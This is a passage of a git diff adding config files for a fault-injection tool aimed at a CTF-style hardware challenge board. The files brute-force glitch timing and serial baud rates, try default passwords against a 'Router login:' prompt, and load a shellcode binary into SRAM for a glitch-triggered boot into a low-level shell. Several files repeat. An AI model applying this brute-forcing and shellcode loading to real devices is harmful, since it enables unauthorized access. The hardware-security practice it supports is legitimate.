+def step_1():
+    functions.set_uart_switch(False)
+
+    functions.add_text(f"\n[Chall 4] uploading firmware to ram... please wait")
+
+    # Connect to the target board
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    # Optionally halt the target
+    target = session.target
+    target.halt()
+
+    # Load binary file to specified address (e.g., 0x20000000)
+    newFirmware = "/tmp/f103-analysis/h3/rootshell/shellcode-0xRoM.bin"
+    programmer = FileProgrammer(session)
+    programmer.program(newFirmware, base_address=0x20000000, file_format='bin')
+
+    # Optionally resume execution
+    target.resume()
+    # Clean up
+    session.close()
+
+    with open(newFirmware, "rb") as f:
+        original_data = f.read()
+
+    # Connect to the target
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    target = session.target
+    target.halt()
+
+    # Read back the memory from the target
+    read_data = target.read_memory_block8(0x20000000, len(original_data))
+
+    # Compare
+    if bytes(read_data) == original_data:
+         functions.add_text(f"[+] Shellcode loaded successfully.")
+    else:
+         functions.add_text(f"[!] Mismatch detected. Shellcode may not have loaded correctly.")
+
+    session.close()
+
+    functions.change_baudrate(9600)
+    functions.add_text(f"[Chall 4] hold buttons 'boot0' and 'boot1' and press the 'glitch' button")
+    functions.add_text(f"[Chall 4] this single glitch will boot from SRAM")
+    functions.add_text(f"[Chall 4] enable UART to access 'Low-level Shell' (might need to press reset)")
+    functions.add_text(f"[Chall 4] then press 'Step2'")
+    
+def step_2():
+    functions.send_uart_message("p") 
+    time.sleep(1)
+    functions.change_baudrate(115200)
diff --git a/ConfigDemoAll.py b/ConfigDemoAll.py
new file mode 100644
index 0000000..ab4325e
--- /dev/null
+++ b/ConfigDemoAll.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["^", True],  #0
+    ["-", False], #1
+    ["v", True],  #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+	["No01", False, "WillNeverMatch01", ""],
+	["No02", False, "WillNeverMatch02", ""],
+    ["Heigh", False, "", "get_scroll_height"],
+    ["AllTg", False, "", "toggle_all"],
+    ["Trigr", False, "", "change_all_triggers"],
+    ["Value", False, "", "random_values"],
+    ['9600', False, '', 'change_baud_9600'],
+    ['11520', False, '', 'change_baud_115200'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def get_scroll_height():
+    if functions.app_instance:
+        text_widget = functions.app_instance.query_one(".scrollable_log", Log)  # Find the scrollable text area
+        height = text_widget.scrollable_content_region.height  # Get its height
+                # Ensure the text is a string and append it to the Log widget
+        random_number = random.randint(1, 100)
+        new_text = f"[CONDITION] Scrollable height: {height} and Random Number: {random_number}"
+        functions.add_text(new_text)
+        functions.log_message(new_text)  # Log the value
+    else:
+        functions.log_message("App instance not set!")  # Debugging in case it's called too early
+
+def toggle_all():
+	TriggersStatus = functions.get_trigger_value(0)
+	if TriggersStatus is True:
+		for i in range(8):
+			functions.set_trigger_value(i, False)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, False)	
+	else:
+		for i in range(8):
+			functions.set_trigger_value(i, True)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, True)	
+
+def change_all_triggers():
+	for i in range(8):
+		current_symbol = functions.get_trigger_string(i)
+		cycle = ["^", "v", "-"]
+		next_symbol = cycle[(cycle.index(current_symbol) + 1) % len(cycle)]
+		functions.set_trigger_string(i, next_symbol)
+
+def random_values():
+	functions.glitching_switch(False)
+
+	OrigLen = functions.get_config_value("length")
+	OrigRep = functions.get_config_value("repeat")
+	OrigDel = functions.get_config_value("delay")
+
+	NewLen = random.randint(1, 100)
+	NewRep = random.randint(1, 100)
+	NewDel = random.randint(1, 100)
+
+	functions.set_config_value("length", NewLen)
+	functions.set_config_value("repeat", NewRep)
+	functions.set_config_value("delay", NewDel)
+
+	functions.add_text(f"[UPDATED] length ({OrigLen} -> {NewLen}), repeat ({OrigRep} -> {NewRep}), delay ({OrigDel} -> {NewDel})")
+
+def change_baud_9600():
+    functions.change_baudrate(9600)
+    functions.set_uart_switch()
+
+def change_baud_115200():
+    functions.change_baudrate(115200)
+    functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/ConfigGlitchBrute.py b/ConfigGlitchBrute.py
new file mode 100644
index 0000000..237f2ec
--- /dev/null
+++ b/ConfigGlitchBrute.py
@@ -0,0 +1,132 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 1
+REPEAT = 1
+DELAY = 1
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["pt1", True, "Hold one of", "start_chal_02"], # requires bolt output gpio pin 0 -> challenge board chall 2 button
+    ["pt2", True, "Starting challenge 2", "glitched_too_far"],
+    ["std", True, "1000000", "perform_glitch"]
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
+    #functions.execute_condition_action("glitched_too_far")
+
+increment_delay = True
+increment_length = True
+inc_delay_amount = 100
+inc_repeat_amount = 100
+inc_length_amount = 100  
+
+def perform_glitch():
+    global increment_delay, increment_length
+    global inc_delay_aamount, inc_repeat_amount, inc_length_amount
+    
+    
+    if increment_delay:
+        to_increment = "delay"
+        increment_amount = inc_delay_amount
+        increment_delay = False
+    else:
+        if increment_length:
+            to_increment = "length"
+            increment_amount = inc_length_amount
+            increment_length = False
+            increment_delay = True
+        else:
+            to_increment = "repeat"
+            increment_amount = inc_repeat_amount
+            increment_length = True
+            increment_delay = True
+    
+    current_val = functions.get_config_value(to_increment)
+    new_val = current_val + increment_amount
+    functions.set_config_value(to_increment, new_val)
+
+    functions.add_text(f"[auto] incrementing: {to_increment}")
+    
+    Len = functions.get_config_value("length")
+    Rep = functions.get_config_value("repeat")
+    Del = functions.get_config_value("delay")
+    functions.start_glitch(Len, Rep, Del)
+    
+def glitched_too_far():
+    global increment_delay, increment_length
+    global inc_delay_amount, inc_repeat_amount, inc_length_amount
+    
+    # Determine which value to decrement based on current state
+    if increment_delay:
+        if increment_length:
+            to_decrement = "repeat"
+            current_inc_amount = inc_repeat_amount
+        else:
+            to_decrement = "length"
+            current_inc_amount = inc_length_amount
+    else:
+        to_decrement = "delay"
+        current_inc_amount = inc_delay_amount
+    
+    # Get current value and decrement it
+    current_val = functions.get_config_value(to_decrement)
+    new_val = current_val - current_inc_amount 
+    functions.set_config_value(to_decrement, new_val)
+    
+    # Update the increment amount for next time
+    if current_inc_amount == 100:
+        new_inc_amount = 10
+    elif current_inc_amount == 10:
+        new_inc_amount = 1
+    else:
+        new_inc_amount = current_inc_amount  # keep as is if not 100 or 10
+    
+    # Update the correct increment amount variable
+    if to_decrement == "delay":
+        inc_delay_amount = new_inc_amount
+    elif to_decrement == "length":
+        inc_length_amount = new_inc_amount
+    elif to_decrement == "repeat":
+        inc_repeat_amount = new_inc_amount
+
+    functions.add_text(f"[auto] decrementing: {to_decrement}")
\ No newline at end of file

diff --git a/ConfigBaudBrute.py b/ConfigBaudBrute.py
new file mode 100644
index 0000000..470cd34
--- /dev/null
+++ b/ConfigBaudBrute.py
@@ -0,0 +1,58 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 9600
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Next", False, "", "uart_up"],
+    ["Prev", False, "", "uart_down"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+baud_rates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 28800, 38400, 57600, 115200, 128000, 256000]
+
+
+def uart_up():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the lowest
+        index = -1
+    
+    # Get the next higher baud rate (wrapping around if at the end)
+    new_index = (index + 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Up] {new_baud}")
+
+def uart_down():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the highest
+        index = len(baud_rates)
+    
+    # Get the next lower baud rate (wrapping around if at the start)
+    new_index = (index - 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Down] {new_baud}")
\ No newline at end of file
diff --git a/ConfigChall02.py b/ConfigChall02.py
new file mode 100644
index 0000000..e14c32b
--- /dev/null
+++ b/ConfigChall02.py
@@ -0,0 +1,52 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 42
+REPEAT = 1
+DELAY = 0
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["Chal2", True, "Hold one of", "start_chal_02"] # requires bolt output gpio pin 0 -> challenge board chall 2 button
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
\ No newline at end of file
diff --git a/ConfigChall03.py b/ConfigChall03.py
new file mode 100644
index 0000000..211ac51
--- /dev/null
+++ b/ConfigChall03.py
@@ -0,0 +1,47 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 6000
+REPEAT = 0
+DELAY = 1098144
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['v', True],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Flag', True, 'ctf', 'stop_glitching'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+        elapsed = functions.get_glitch_elapsed()
+        functions.glitching_switch(False)
+        functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") 
diff --git a/ConfigChall04.py b/ConfigChall04.py
new file mode 100644
index 0000000..a9bfecd
--- /dev/null
+++ b/ConfigChall04.py
@@ -0,0 +1,92 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import time
+import functions
+
+from pyocd.core.helpers import ConnectHelper
+from pyocd.flash.file_programmer import FileProgrammer
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 50
+REPEAT = 1
+DELAY = 1
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Start', False, '', 'start_chall_04'],
+    ['Step1', False, '', 'step_1'],
+    ['Step2', False, '', 'step_2'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def start_chall_04():
+    functions.add_text(f"[Chall 4] enable uart switch then hold chall 4 button to load the challenge into memory.")
+    functions.add_text(f"[Chall 4] once loaded hold 'boot 1' button and press 'reset' button to put in bootloader mode") 
+    functions.add_text(f"[Chall 4] then press 'Step1'")
+
+def step_1():
+    functions.set_uart_switch(False)
+
+    functions.add_text(f"\n[Chall 4] uploading firmware to ram... please wait")
+
+    # Connect to the target board
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    # Optionally halt the target
+    target = session.target
+    target.halt()
+
+    # Load binary file to specified address (e.g., 0x20000000)
+    newFirmware = "/tmp/f103-analysis/h3/rootshell/shellcode-0xRoM.bin"
+    programmer = FileProgrammer(session)
+    programmer.program(newFirmware, base_address=0x20000000, file_format='bin')
+
+    # Optionally resume execution
+    target.resume()
+    # Clean up
+    session.close()
+
+    with open(newFirmware, "rb") as f:
+        original_data = f.read()
+
+    # Connect to the target
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    target = session.target
+    target.halt()
+
+    # Read back the memory from the target
+    read_data = target.read_memory_block8(0x20000000, len(original_data))
+
+    # Compare
+    if bytes(read_data) == original_data:
+         functions.add_text(f"[+] Shellcode loaded successfully.")
+    else:
+         functions.add_text(f"[!] Mismatch detected. Shellcode may not have loaded correctly.")
+
+    session.close()
+
+    functions.change_baudrate(9600)
+    functions.add_text(f"[Chall 4] hold buttons 'boot0' and 'boot1' and press the 'glitch' button")
+    functions.add_text(f"[Chall 4] this single glitch will boot from SRAM")
+    functions.add_text(f"[Chall 4] enable UART to access 'Low-level Shell' (might need to press reset)")
+    functions.add_text(f"[Chall 4] then press 'Step2'")
+    
+def step_2():
+    functions.send_uart_message("p") 
+    time.sleep(1)
+    functions.change_baudrate(115200)
diff --git a/ConfigDemoAll.py b/ConfigDemoAll.py
new file mode 100644
index 0000000..ab4325e
--- /dev/null
+++ b/ConfigDemoAll.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["^", True],  #0
+    ["-", False], #1
+    ["v", True],  #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+	["No01", False, "WillNeverMatch01", ""],
+	["No02", False, "WillNeverMatch02", ""],
+    ["Heigh", False, "", "get_scroll_height"],
+    ["AllTg", False, "", "toggle_all"],
+    ["Trigr", False, "", "change_all_triggers"],
+    ["Value", False, "", "random_values"],
+    ['9600', False, '', 'change_baud_9600'],
+    ['11520', False, '', 'change_baud_115200'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def get_scroll_height():
+    if functions.app_instance:
+        text_widget = functions.app_instance.query_one(".scrollable_log", Log)  # Find the scrollable text area
+        height = text_widget.scrollable_content_region.height  # Get its height
+                # Ensure the text is a string and append it to the Log widget
+        random_number = random.randint(1, 100)
+        new_text = f"[CONDITION] Scrollable height: {height} and Random Number: {random_number}"
+        functions.add_text(new_text)
+        functions.log_message(new_text)  # Log the value
+    else:
+        functions.log_message("App instance not set!")  # Debugging in case it's called too early
+
+def toggle_all():
+	TriggersStatus = functions.get_trigger_value(0)
+	if TriggersStatus is True:
+		for i in range(8):
+			functions.set_trigger_value(i, False)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, False)	
+	else:
+		for i in range(8):
+			functions.set_trigger_value(i, True)
+		for i in range( len(conditions) ):
+			functions.set_condition_value(i, True)	
+
+def change_all_triggers():
+	for i in range(8):
+		current_symbol = functions.get_trigger_string(i)
+		cycle = ["^", "v", "-"]
+		next_symbol = cycle[(cycle.index(current_symbol) + 1) % len(cycle)]
+		functions.set_trigger_string(i, next_symbol)
+
+def random_values():
+	functions.glitching_switch(False)
+
+	OrigLen = functions.get_config_value("length")
+	OrigRep = functions.get_config_value("repeat")
+	OrigDel = functions.get_config_value("delay")
+
+	NewLen = random.randint(1, 100)
+	NewRep = random.randint(1, 100)
+	NewDel = random.randint(1, 100)
+
+	functions.set_config_value("length", NewLen)
+	functions.set_config_value("repeat", NewRep)
+	functions.set_config_value("delay", NewDel)
+
+	functions.add_text(f"[UPDATED] length ({OrigLen} -> {NewLen}), repeat ({OrigRep} -> {NewRep}), delay ({OrigDel} -> {NewDel})")
+
+def change_baud_9600():
+    functions.change_baudrate(9600)
+    functions.set_uart_switch()
+
+def change_baud_115200():
+    functions.change_baudrate(115200)
+    functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/ConfigGlitchBrute.py b/ConfigGlitchBrute.py
new file mode 100644
index 0000000..237f2ec
--- /dev/null
+++ b/ConfigGlitchBrute.py
@@ -0,0 +1,132 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 1
+REPEAT = 1
+DELAY = 1
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["pt1", True, "Hold one of", "start_chal_02"], # requires bolt output gpio pin 0 -> challenge board chall 2 button
+    ["pt2", True, "Starting challenge 2", "glitched_too_far"],
+    ["std", True, "1000000", "perform_glitch"]
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
+    #functions.execute_condition_action("glitched_too_far")
+
+increment_delay = True
+increment_length = True
+inc_delay_amount = 100
+inc_repeat_amount = 100
+inc_length_amount = 100  
+
+def perform_glitch():
+    global increment_delay, increment_length
+    global inc_delay_aamount, inc_repeat_amount, inc_length_amount
+    
+    
+    if increment_delay:
+        to_increment = "delay"
+        increment_amount = inc_delay_amount
+        increment_delay = False
+    else:
+        if increment_length:
+            to_increment = "length"
+            increment_amount = inc_length_amount
+            increment_length = False
+            increment_delay = True
+        else:
+            to_increment = "repeat"
+            increment_amount = inc_repeat_amount
+            increment_length = True
+            increment_delay = True
+    
+    current_val = functions.get_config_value(to_increment)
+    new_val = current_val + increment_amount
+    functions.set_config_value(to_increment, new_val)
+
+    functions.add_text(f"[auto] incrementing: {to_increment}")
+    
+    Len = functions.get_config_value("length")
+    Rep = functions.get_config_value("repeat")
+    Del = functions.get_config_value("delay")
+    functions.start_glitch(Len, Rep, Del)
+    
+def glitched_too_far():
+    global increment_delay, increment_length
+    global inc_delay_amount, inc_repeat_amount, inc_length_amount
+    
+    # Determine which value to decrement based on current state
+    if increment_delay:
+        if increment_length:
+            to_decrement = "repeat"
+            current_inc_amount = inc_repeat_amount
+        else:
+            to_decrement = "length"
+            current_inc_amount = inc_length_amount
+    else:
+        to_decrement = "delay"
+        current_inc_amount = inc_delay_amount
+    
+    # Get current value and decrement it
+    current_val = functions.get_config_value(to_decrement)
+    new_val = current_val - current_inc_amount 
+    functions.set_config_value(to_decrement, new_val)
+    
+    # Update the increment amount for next time
+    if current_inc_amount == 100:
+        new_inc_amount = 10
+    elif current_inc_amount == 10:
+        new_inc_amount = 1
+    else:
+        new_inc_amount = current_inc_amount  # keep as is if not 100 or 10
+    
+    # Update the correct increment amount variable
+    if to_decrement == "delay":
+        inc_delay_amount = new_inc_amount
+    elif to_decrement == "length":
+        inc_length_amount = new_inc_amount
+    elif to_decrement == "repeat":
+        inc_repeat_amount = new_inc_amount
+
+    functions.add_text(f"[auto] decrementing: {to_decrement}")
\ No newline at end of file
diff --git a/ConfigLoginBrute.py b/ConfigLoginBrute.py
new file mode 100644
index 0000000..c5328e9
--- /dev/null
+++ b/ConfigLoginBrute.py
@@ -0,0 +1,73 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyACM3"
+BAUD_RATE = 115200
+
+LENGTH = 10
+REPEAT = 5
+DELAY = 100
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ["-", False], #0
+    ["-", False], #1
+    ["-", False], #2
+    ["-", False], #3
+    ["-", False], #4
+    ["-", False], #5
+    ["-", False], #6
+    ["-", False], #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["user", False, "Router login:", "send_username"],
+    ["pass", False, "Password", "send_password"],
+    ["enter", False, "press Enter", "send_return"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def send_username():
+    functions.send_uart_message("root")  
+    functions.add_text("[auto] $> root")    
+
+# uncomment the following to use a password list!
+#with open("passwords.txt", "r") as f:
+#    password_list = [line.strip() for line in f if line.strip()]
+
+password_list = ["root", "password", "123456", "qwerty", "admin", "letmein"]
+current_password_index = 0
+
+def send_password():
+    global password_list, current_password_index
+    
+    passCount = len(password_list)
+    # Get the current password
+    password = password_list[current_password_index]
+    
+    # Send the password and update UI
+    functions.send_uart_message(password)  
+    functions.add_text(f"[pass {current_password_index} / {passCount}] $> {password}")
+    # Move to the next password (wrap around if at end of list)
+    current_password_index = (current_password_index + 1) % len(password_list)
+
+def send_return():
+    functions.send_uart_message(" ")    
\ No newline at end of file

diff --git a/ConfigBaudBrute.py b/ConfigBaudBrute.py
new file mode 100644
index 0000000..470cd34
--- /dev/null
+++ b/ConfigBaudBrute.py
@@ -0,0 +1,58 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
+BAUD_RATE = 9600
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Next", False, "", "uart_up"],
+    ["Prev", False, "", "uart_down"],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+baud_rates = [300, 1200, 2400, 4800, 9600, 14400, 19200, 28800, 38400, 57600, 115200, 128000, 256000]
+
+
+def uart_up():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the lowest
+        index = -1
+    
+    # Get the next higher baud rate (wrapping around if at the end)
+    new_index = (index + 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Up] {new_baud}")
+
+def uart_down():
+    current_baud = functions.get_config_value("baud_rate")
+    # Find the index of the current baud rate
+    try:
+        index = baud_rates.index(current_baud)
+    except ValueError:
+        # If current baud rate is not in the list, start from the highest
+        index = len(baud_rates)
+    
+    # Get the next lower baud rate (wrapping around if at the start)
+    new_index = (index - 1) % len(baud_rates)
+    new_baud = baud_rates[new_index]
+    functions.change_baudrate(new_baud)
+    functions.add_text(f"\n[Rate Down] {new_baud}")
\ No newline at end of file
diff --git a/ConfigChall02.py b/ConfigChall02.py
new file mode 100644
index 0000000..e14c32b
--- /dev/null
+++ b/ConfigChall02.py
@@ -0,0 +1,52 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 42
+REPEAT = 1
+DELAY = 0
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['-', False],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match in output, function to run
+# if string is blank ("") doesnt show toggle, just run button
+###
+conditions = [
+    ["Flag", True,  "ctf", "stop_glitching"],
+    ["Chal2", True, "Hold one of", "start_chal_02"] # requires bolt output gpio pin 0 -> challenge board chall 2 button
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+	elapsed = functions.get_glitch_elapsed()
+	functions.glitching_switch(False)
+	functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")    
+
+def start_chal_02():
+    functions.run_output_high(0, 30000000) ## can also run_output_low() if need too
\ No newline at end of file
diff --git a/ConfigChall03.py b/ConfigChall03.py
new file mode 100644
index 0000000..211ac51
--- /dev/null
+++ b/ConfigChall03.py
@@ -0,0 +1,47 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 6000
+REPEAT = 0
+DELAY = 1098144
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+    ['-', False],  #0
+    ['v', True],  #1
+    ['-', False],  #2
+    ['-', False],  #3
+    ['-', False],  #4
+    ['-', False],  #5
+    ['-', False],  #6
+    ['-', False],  #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Flag', True, 'ctf', 'stop_glitching'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def stop_glitching():
+        elapsed = functions.get_glitch_elapsed()
+        functions.glitching_switch(False)
+        functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") 
diff --git a/ConfigChall04.py b/ConfigChall04.py
new file mode 100644
index 0000000..a9bfecd
--- /dev/null
+++ b/ConfigChall04.py
@@ -0,0 +1,92 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import time
+import functions
+
+from pyocd.core.helpers import ConnectHelper
+from pyocd.flash.file_programmer import FileProgrammer
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 115200
+
+LENGTH = 50
+REPEAT = 1
+DELAY = 1
+
+###
+# name, enabled, string to match
+###
+conditions = [
+    ['Start', False, '', 'start_chall_04'],
+    ['Step1', False, '', 'step_1'],
+    ['Step2', False, '', 'step_2'],
+]
+
+######
+# Custom functions for conditions to trigger
+######
+
+def start_chall_04():
+    functions.add_text(f"[Chall 4] enable uart switch then hold chall 4 button to load the challenge into memory.")
+    functions.add_text(f"[Chall 4] once loaded hold 'boot 1' button and press 'reset' button to put in bootloader mode") 
+    functions.add_text(f"[Chall 4] then press 'Step1'")
+
+def step_1():
+    functions.set_uart_switch(False)
+
+    functions.add_text(f"\n[Chall 4] uploading firmware to ram... please wait")
+
+    # Connect to the target board
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    # Optionally halt the target
+    target = session.target
+    target.halt()
+
+    # Load binary file to specified address (e.g., 0x20000000)
+    newFirmware = "/tmp/f103-analysis/h3/rootshell/shellcode-0xRoM.bin"
+    programmer = FileProgrammer(session)
+    programmer.program(newFirmware, base_address=0x20000000, file_format='bin')
+
+    # Optionally resume execution
+    target.resume()
+    # Clean up
+    session.close()
+
+    with open(newFirmware, "rb") as f:
+        original_data = f.read()
+
+    # Connect to the target
+    session = ConnectHelper.session_with_chosen_probe()
+    session.open()
+
+    target = session.target
+    target.halt()
+
+    # Read back the memory from the target
+    read_data = target.read_memory_block8(0x20000000, len(original_data))
+
+    # Compare
+    if bytes(read_data) == original_data:
+         functions.add_text(f"[+] Shellcode loaded successfully.")
+    else:
+         functions.add_text(f"[!] Mismatch detected. Shellcode may not have loaded correctly.")
+
+    session.close()
+
+    functions.change_baudrate(9600)
+    functions.add_text(f"[Chall 4] hold buttons 'boot0' and 'boot1' and press the 'glitch' button")
+    functions.add_text(f"[Chall 4] this single glitch will boot from SRAM")
+    functions.add_text(f"[Chall 4] enable UART to access 'Low-level Shell' (might need to press reset)")
+    functions.add_text(f"[Chall 4] then press 'Step2'")
+    
+def step_2():
+    functions.send_uart_message("p") 
+    time.sleep(1)
+    functions.change_baudrate(115200)
diff --git a/ConfigDemoAll.py b/ConfigDemoAll.py
new file mode 100644
index 0000000..ab4325e
--- /dev/null
+++ b/ConfigDemoAll.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import random
+from textual.widgets import Log
+
+######
+# config values (you can edit these to fit your environment and use case)
+######
+
+# Serial port settings
+SERIAL_PORT = "/dev/ttyUSB0"
